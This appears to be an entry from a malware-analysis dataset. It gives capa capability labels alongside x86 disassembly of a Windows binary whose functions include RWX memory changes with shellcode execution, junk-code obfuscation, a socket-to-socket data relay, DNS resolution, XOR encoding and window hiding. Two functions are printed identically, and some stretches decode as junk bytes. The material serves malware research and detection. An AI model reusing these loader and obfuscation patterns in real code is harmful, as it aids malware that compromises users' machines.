joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4029e6
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x430018]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push edi
add edi, 0x6019
call 0x4029e6
add byte [ecx + 0x34], cl
dec esi
inc ebx
xor edi, dword [ecx]
aas
inc ecx
add esp, 4
sub edi, 0x558f
call 0x4029ff
add byte [eax + 0x43], cl
dec esp
dec ecx
inc ebp
inc ebx
inc ecx
aas
add esp, 4
pop edi
cmp byte [esi + 9], 0
je 0x402b7a
mov edi, dword [esi + 4]
sub edi, dword [esi]
push edi
or edi, 0x1528b
xor edi, 0x6e88
sub edi, 0x1385
pop edi
push edi
push ebx
add esp, 4
sub edi, 0x8677
xor edi, 0x177de
sub edi, 0xcc6b
or edi, 0x1355
pop edi
je 0x402b7a
and dword [esp + 0x10], 0
push ecx
push ebx
add esp, 4
xor ecx, 0x29e7
pop ecx
push esi
or esi, 0xb518
jmp 0x402a68
add esi, 0x142a2
pop esi
push eax
push edi
add esp, 4
add eax, 0x2aad
or eax, 0x44fb
pop eax
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402b7a
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402aff
mov ebp, dword [esp + 0x10]
push ebx
push edi
add esp, 4
xor ebx, 0xb7d9
sub ebx, 0x12e6d
jmp 0x402ac2
pop ebx
push eax
call 0x402ad1
add byte [eax + 0x45], al
dec eax
dec edi
cmp cl, byte [ecx - 0x7d]
les eax, [ecx + eax*4]
sar byte [ebx + 0x58000157], 0x8b
inc ebp
add byte [ebx - 0x75ef7433], cl
inc esi
or byte [eax - 0xefdbbc], cl
je 0x402b10
adc byte [ebx - 1], dl
ror byte [ebx - 0x38fcbcfa], cl
cmp ebx, eax
jb 0x402aa9
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edx
jmp 0x402b06
jmp 0x402b0d
pop edx
push eax
push esi
add esp, 4
call 0x402b21
add byte [edx + 0x42], cl
inc eax
cmp al, 0x49
xor eax, dword [ebp + 0x39]
add esp, 4
and eax, 0x15053
add eax, 0x110cb
pop eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402b7a
push esi
call 0x402b54
add byte [ebx], bh
xor al, 0x3f
push eax
dec esi
cmp al, 0x34
dec edx
xor al, 0x83
les eax, [ecx + eax*4]
out dx, al
loopne 0x402b60
add byte [eax], al
sub esi, 0x10faa
sgdt [eax]
pop esi
push ecx
push edi
add esp, 4
and ecx, 0x86bb
and ecx, 0x15761
pop ecx
mov al, 1
jmp 0x402b7c
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040ed3d
add esp, 0xc
ret
Function at 0x4029ff
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x430018]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push edi
add edi, 0x6019
call 0x4029e6
add byte [ecx + 0x34], cl
dec esi
inc ebx
xor edi, dword [ecx]
aas
inc ecx
add esp, 4
sub edi, 0x558f
call 0x4029ff
add byte [eax + 0x43], cl
dec esp
dec ecx
inc ebp
inc ebx
inc ecx
aas
add esp, 4
pop edi
cmp byte [esi + 9], 0
je 0x402b7a
mov edi, dword [esi + 4]
sub edi, dword [esi]
push edi
or edi, 0x1528b
xor edi, 0x6e88
sub edi, 0x1385
pop edi
push edi
push ebx
add esp, 4
sub edi, 0x8677
xor edi, 0x177de
sub edi, 0xcc6b
or edi, 0x1355
pop edi
je 0x402b7a
and dword [esp + 0x10], 0
push ecx
push ebx
add esp, 4
xor ecx, 0x29e7
pop ecx
push esi
or esi, 0xb518
jmp 0x402a68
add esi, 0x142a2
pop esi
push eax
push edi
add esp, 4
add eax, 0x2aad
or eax, 0x44fb
pop eax
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402b7a
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402aff
mov ebp, dword [esp + 0x10]
push ebx
push edi
add esp, 4
xor ebx, 0xb7d9
sub ebx, 0x12e6d
jmp 0x402ac2
pop ebx
push eax
call 0x402ad1
add byte [eax + 0x45], al
dec eax
dec edi
cmp cl, byte [ecx - 0x7d]
les eax, [ecx + eax*4]
sar byte [ebx + 0x58000157], 0x8b
inc ebp
add byte [ebx - 0x75ef7433], cl
inc esi
or byte [eax - 0xefdbbc], cl
je 0x402b10
adc byte [ebx - 1], dl
ror byte [ebx - 0x38fcbcfa], cl
cmp ebx, eax
jb 0x402aa9
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edx
jmp 0x402b06
jmp 0x402b0d
pop edx
push eax
push esi
add esp, 4
call 0x402b21
add byte [edx + 0x42], cl
inc eax
cmp al, 0x49
xor eax, dword [ebp + 0x39]
add esp, 4
and eax, 0x15053
add eax, 0x110cb
pop eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402b7a
push esi
call 0x402b54
add byte [ebx], bh
xor al, 0x3f
push eax
dec esi
cmp al, 0x34
dec edx
xor al, 0x83
les eax, [ecx + eax*4]
out dx, al
loopne 0x402b60
add byte [eax], al
sub esi, 0x10faa
sgdt [eax]
pop esi
push ecx
push edi
add esp, 4
and ecx, 0x86bb
and ecx, 0x15761
pop ecx
mov al, 1
jmp 0x402b7c
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040ed3d
add esp, 0xc
ret
Function at 0x40303c
Capabilities:
Create thread

Disassembly:
push 0x2c
mov eax, 0x420acc
call fcn.0040f5c1
mov eax, dword [ebp + 8]
xor edi, edi
mov esi, dword [eax]
test esi, esi
je 0x4030d2
mov esi, dword [esi]
lea eax, [ecx + 4]
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call fcn.00402cdd
mov dword [ebp - 0x20], esi
push 0x1c
mov dword [ebp - 4], edi
call fcn.0040ed4b
mov esi, eax
lea eax, [ebp - 0x38]
pop ecx
push eax
mov ecx, esi
call fcn.00402bf4
mov ecx, dword [ebp - 0x20]
mov dword [esi + 0x18], ecx
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push edi
push esi
push 0x40374f
push edi
push edi
call fcn.0041285c
add esp, 0x18
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4030da
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], edi
call fcn.00403735
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00402bc1
cmp dword [ebp - 0x18], edi
jne 0x4030e4
lea ecx, [ebp - 0x38]
call fcn.00402c72
call fcn.0040f57f
ret 4
push 6
mov dword [ebp - 0x18], edi
call fcn.0040e33e
call fcn.004128ed
int3
Function at 0x4031fe
Capabilities:
Terminate process

Disassembly:
push 8
push 0x38
mov eax, 0x420b86
call fcn.0041fe05
mov esi, ecx
mov dword [ebp - 0x40], esi
xor eax, eax
mov byte [ebp - 0x24], al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
push eax
call fcn.00402e51
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402b8e
lea eax, [ebp - 0x38]
mov ecx, esi
push eax
call fcn.00402ec0
mov dword [ebp - 4], 1
cmp byte [ebp - 0x28], 0
je 0x4032c9
movzx eax, byte [ebp - 0x38]
sub eax, 1
je 0x4032c2
sub eax, 3
je 0x40333c
sub eax, 1
je 0x4032b5
sub eax, 1
je 0x4032a8
sub eax, 1
je 0x403298
sub eax, 1
je 0x403285
sub eax, 1
jne 0x4032c9
lea eax, [ebp - 0x34]
push eax
call fcn.0040d886
jmp 0x4032c9
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x4032c9
push dword [eax + 4]
push dword [eax]
call fcn.0040d34c
jmp 0x4032c9
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x4032c9
push dword [eax]
call fcn.0040d4e6
jmp 0x4032c9
lea eax, [ebp - 0x34]
mov ecx, esi
push eax
call fcn.004030ea
jmp 0x4032c9
lea eax, [ebp - 0x34]
mov ecx, esi
push eax
call fcn.0040303c
jmp 0x4032c9
mov ecx, esi
call fcn.00403169
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x28], 0
je 0x4032db
lea ecx, [ebp - 0x34]
call fcn.00402b8e
xor eax, eax
mov byte [ebp - 0x39], 2
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x39]
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x38]
push eax
push ecx
lea ecx, [ebp - 0x20]
call fcn.00402730
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 4], 2
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
sub esi, edx
mov ecx, dword [ecx]
push ecx
push ecx
mov eax, esp
mov dword [eax], edx
mov dword [eax + 4], esi
call fcn.00409355
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
lea ecx, [ebp - 0x20]
test al, al
je 0x403344
call fcn.00402b8e
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x40]
jmp 0x403237
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402b8e
mov eax, dword [0x431d68]
call dword [eax + 0x70]
mov ecx, dword [ebp - 0x14]
call fcn.0041fde3
ret

Function at 0x403698
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x420bba
call fcn.0040f5c1
mov edi, ecx
mov esi, dword [ebp + 8]
xor ebx, ebx
push 0x14
call fcn.0040ed4b
mov ecx, dword [esi]
mov edx, eax
mov dword [ebp - 0x14], edx
mov dword [edx], ecx
mov ecx, dword [esi + 4]
mov dword [edx + 4], ecx
mov ecx, dword [esi + 8]
mov dword [edx + 0xc], ebx
mov dword [edx + 0x10], ebx
mov dword [edx + 8], ecx
mov eax, dword [esi + 0xc]
mov dword [edx + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [edx + 0x10], eax
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
lea esi, [edi + 4]
mov dword [ebp - 4], ebx
push esi
push ebx
push edx
push 0x4037fd
push ebx
push ebx
call fcn.0041285c
add esp, 0x1c
mov dword [edi], eax
test eax, eax
je 0x403710
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
call fcn.0040371a
call fcn.0040f57f
ret 4
push 6
mov dword [esi], ebx
call fcn.0040e33e
int3
Function at 0x406e84
Capabilities:
Encode data using xor

Disassembly:
push 0x1dc
mov eax, 0x421238
call fcn.0040f5c1
mov edi, ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
xor esi, esi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x40], esi
mov eax, dword fs:[0x2c]
push 2
mov dword [ebp - 0x48], 0x32
pop ebx
mov ecx, dword [eax]
mov eax, dword [0x432624]
cmp eax, dword [ecx + 4]
jle 0x406f29
push 0x432624
call fcn.0040eee4
cmp dword [0x432624], 0xffffffff
pop ecx
jne 0x406f29
mov dword [ebp - 4], esi
mov eax, dword [0x429d40]
mov dword [ebp - 0x3c], eax
cmp word [0x429d42], si
je 0x406f00
mov ecx, esi
xor edx, edx
mov eax, ecx
div dword [ebp - 0x48]
add edx, 0x38
xor word [ebp + ecx*2 - 0x3c], dx
inc ecx
cmp ecx, ebx
jl 0x406eec
lea eax, [ebp - 0x3c]
mov ecx, 0x43262c
push eax
call fcn.00401a4f
push 0x422270
call fcn.0040f1f6
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x432624
call fcn.0040ee9a
pop ecx
lea ecx, [ebp - 0x20]
call fcn.0040279e
cmp byte [ebp - 0x17], 0
jne 0x406f4a
push 0x42966c
mov ecx, edi
call fcn.00401a4f
mov eax, edi
jmp 0x40724d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 1
push ecx
mov ecx, 0x10101010
pop ecx
push ecx
mov ecx, 0xffff02ff
pop ecx
invalid
call fcn.0040f57f
ret

Function at 0x407801
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x407849
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x407811
jmp 0x407856
cmp dword [esi], 0x4e0
jb 0x407856
call fcn.00407890
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x407890
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
mov ebp, closesocket
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4078a8
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4078e9
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, ebp
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [esi], 0
and eax, 0x9908b0df
shr ecx, 1
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
pop esi
pop ebp
pop ebx
ret

Function at 0x409370
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push 0x1c
mov eax, 0x4217e7
call fcn.0040f5c1
mov dword [ebp - 0x28], edx
mov eax, ecx
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x14]
push ecx
push 0x4004667f
xor ebx, ebx
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x4093a5
xor al, al
jmp 0x409419
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 0
je 0x4093fe
push dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
call fcn.004074d0
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40940f
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40940f
mov bl, 1
jmp 0x40940f
dec dword [esi]
mov esi, dword [esi]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
setne bl
lea ecx, [ebp - 0x20]
call fcn.00402b8e
mov al, bl
call fcn.0040f57f
ret
Function at 0x409564
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x1c
mov eax, dword [0x430018]
xor eax, esp
mov dword [esp + 0x18], eax
push edi
xor eax, eax
lea edi, [esp + 0x10]
stosd dword es:[edi], eax
xor ecx, ecx
mov byte [esp + 4], cl
mov dword [esp + 6], ecx
mov word [esp + 0xa], cx
lea ecx, [esp + 4]
stosd dword es:[edi], eax
push ecx
stosd dword es:[edi], eax
mov al, byte [esp + 0x2c]
mov byte [esp + 9], al
lea eax, [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00402730
mov eax, dword [esp + 0x14]
sub eax, dword [esp + 0x10]
push 0
push eax
push dword [esp + 0x18]
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
lea ecx, [esp + 0x10]
setg byte [esp + 0xf]
call fcn.00402b8e
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + 0xf]
pop edi
xor ecx, esp
call fcn.0040ed3d
add esp, 0x1c
ret 8

Function at 0x40967a
Capabilities:
Resolve dns

Disassembly:
push 0x40
mov eax, 0x421862
call fcn.0040f5c1
mov esi, dword [ebp + 8]
xor edx, edx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], ebx
mov dword [esi], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], 0xf
mov byte [esi], dl
mov dword [ebp - 4], edx
lea ecx, [ebx + 8]
mov dword [ebp - 0x2c], 1
mov edi, edx
add ebx, 0x108
jmp 0x4096c3
cmp byte [ecx], 0
je 0x4096c9
inc edi
inc ecx
cmp ecx, ebx
jne 0x4096bc
jmp 0x4096cb
mov edx, edi
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x28]
add eax, 9
add eax, edx
push eax
call fcn.00406325
mov dword [ebp - 4], 2
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40971f
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00406325
push eax
mov ecx, esi
call fcn.00409500
lea ecx, [ebp - 0x4c]
call fcn.00402c72
lea ecx, [ebp - 0x28]
call fcn.00402c72
mov eax, esi
call fcn.0040f57f
ret 8
Function at 0x409731
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0x178
mov eax, 0x4218bc
call fcn.0040f5c1
mov eax, ecx
mov dword [ebp - 0x17c], eax
lea edx, [eax + 0x18]
xor ebx, ebx
call fcn.0040941f
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp esi, 0xffffffff
je 0x4098ff
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x180], eax
mov edi, 0x108
mov dword [ebp - 4], ebx
push edi
lea eax, [ebp - 0x178]
push ebx
push eax
call fcn.00410cf0
add esp, 0xc
lea eax, [ebp - 0x178]
push ebx
push edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jle 0x4098fa
mov ecx, dword [ebp - 0x174]
lea edi, [ebp - 0x38]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, ecx
shr eax, 0x18
push eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
push eax
mov eax, ecx
shr eax, 8
movzx eax, al
push eax
movzx eax, cl
push eax
lea eax, [ebp - 0x38]
push str._u._u._u._u
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], bl
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x28]
call fcn.00406325
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
call fcn.004095e6
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
mov bl, al
call fcn.00402c72
test bl, bl
je 0x40983f
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040967a
push eax
lea ecx, [ebp - 0x58]
call fcn.00409500
lea ecx, [ebp - 0x28]
call fcn.00402c72
jmp 0x40984b
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x58]
call fcn.0040635c
push dword [ebp - 0x176]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx edx, ax
lea ecx, [ebp - 0x13]
call fcn.00402de9
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402e0d
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x58]
call fcn.0040941f
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x4098ea
lea eax, [ebp - 0x40]
mov dword [ebp - 0x184], eax
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x17c]
movzx eax, byte [eax + 0x31]
push eax
push dword [ebp - 0x3c]
call fcn.00409564
test al, al
je 0x4098e5
mov dword [ebp - 0x17c], 0xbb8
jmp 0x4098ce
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 0x40]
push eax
call fcn.00409370
pop ecx
test al, al
je 0x4098e5
mov edx, dword [ebp - 0x40]
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 0x3c]
push eax
call fcn.00409370
pop ecx
test al, al
jne 0x4098b7
push dword [ebp - 0x40]
call esi
lea ecx, [ebp - 0x70]
call fcn.00402c72
lea ecx, [ebp - 0x58]
call fcn.00402c72
push dword [ebp - 0x3c]
call esi
call fcn.0040f57f
ret
Function at 0x40b37d
Capabilities:
Write file on windows

Disassembly:
push 0x6c
mov eax, 0x421b35
call fcn.0040f5c1
lea ecx, [ebp - 0x1c]
call fcn.0040279e
cmp byte [ebp - 0x13], 0
jne 0x40b39e
xor al, al
jmp 0x40b44c
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x74], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
push ecx
mov ecx, 0x10101010
pop ecx
push ecx
mov ecx, 0xffff01ff
pop ecx
jmp 0x41afe5
call fcn.0040f57f
ret
or eax, 0xffffffff
jmp 0x41b0ef
mov esi, eax
jmp 0x41b073
fcomp dword [eax]
inc ebx
add byte [eax + 0x28087c], al
jge 0x41b045
movsx eax, byte [ebp - 1]
sub eax, esi
je 0x41b031
sub eax, 1
je 0x41b01d
sub eax, 1
jne 0x41b08b
push dword [ebp - 0xc]
lea eax, [ebp - 0x30]
push dword [ebp - 8]
push dword [ebp - 0x10]
push eax
call fcn.0041abac
add esp, 0x10
jmp 0x41afbd
push dword [ebp - 0xc]
lea eax, [ebp - 0x30]
push dword [ebp - 8]
push dword [ebp - 0x10]
push eax
call fcn.0041ac95
jmp 0x41b018
push dword [ebp - 0xc]
lea eax, [ebp - 0x30]
push dword [ebp - 8]
push dword [ebp - 0x10]
push eax
call fcn.0041aad1
jmp 0x41b018
mov ecx, dword [eax + ecx + 0x18]
lea edi, [ebp - 0x30]
xor eax, eax
stosd dword es:[edi], eax
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41b070
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x30], eax
lea esi, [ebp - 0x30]
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x41b0e8
mov edi, dword [ebp - 0x24]
xor esi, esi
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
test edi, edi
je 0x41b0bb
push 5
pop eax
cmp edi, eax
jne 0x41b0ad
mov byte [ebx + 0x1c], 1
mov dword [ebx + 0x18], 9
mov byte [ebx + 0x24], 1
mov dword [ebx + 0x20], eax
jmp 0x41af26
push ebx
push edi
call fcn.00414ab7
pop ecx
pop ecx
jmp 0x41af26
mov eax, dword [edx*4 + 0x4318d8]
test byte [eax + ecx + 0x28], 0x40
je 0x41b0d1
mov eax, dword [ebp - 8]
cmp byte [eax], 0x1a
je 0x41b0ed
mov byte [ebx + 0x1c], 1
mov dword [ebx + 0x18], 0x1c
mov byte [ebx + 0x24], 1
mov dword [ebx + 0x20], esi
jmp 0x41af26
sub eax, dword [ebp - 0x1c]
jmp 0x41b0ef
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cbcc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x430018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
mov esi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x40cc48
movd xmm0, dword [ebp - 0x14]
cvtdq2pd xmm0, xmm0
comisd xmm0, xmmword [0x42a6a8]
jb 0x40cc31
push 3
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0x10]
push 1
push 0
push 0
add eax, 0xffffec78
push eax
push 0xffffec78
push 1
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push ecx
push esi
call fcn.0040cc56
test al, al
je 0x40cc48
mov eax, dword [0x431d64]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040ed3d
leave
ret
Function at 0x40f9a8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40f9e7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f9e7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f9e7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40f9e7
cmp dword [ecx + 0x74], 0xe
jbe 0x40f9e7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4155f6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425de0
push 0x425dd8
push str.FlsAlloc
push 0x1f
call fcn.00415475
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41562a
push dword [ebp + 8]
mov ecx, esi
call dword [0x423300]
call esi
jmp 0x415630
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x415674
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425df0
push 0x425de8
push str.FlsGetValue
push 0x21
call fcn.00415475
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4156ab
push dword [ebp + 8]
mov ecx, esi
call dword [0x423300]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4156b3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425df8
push 0x425df0
push str.FlsSetValue
push 0x22
call fcn.00415475
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4156ed
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x423300]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]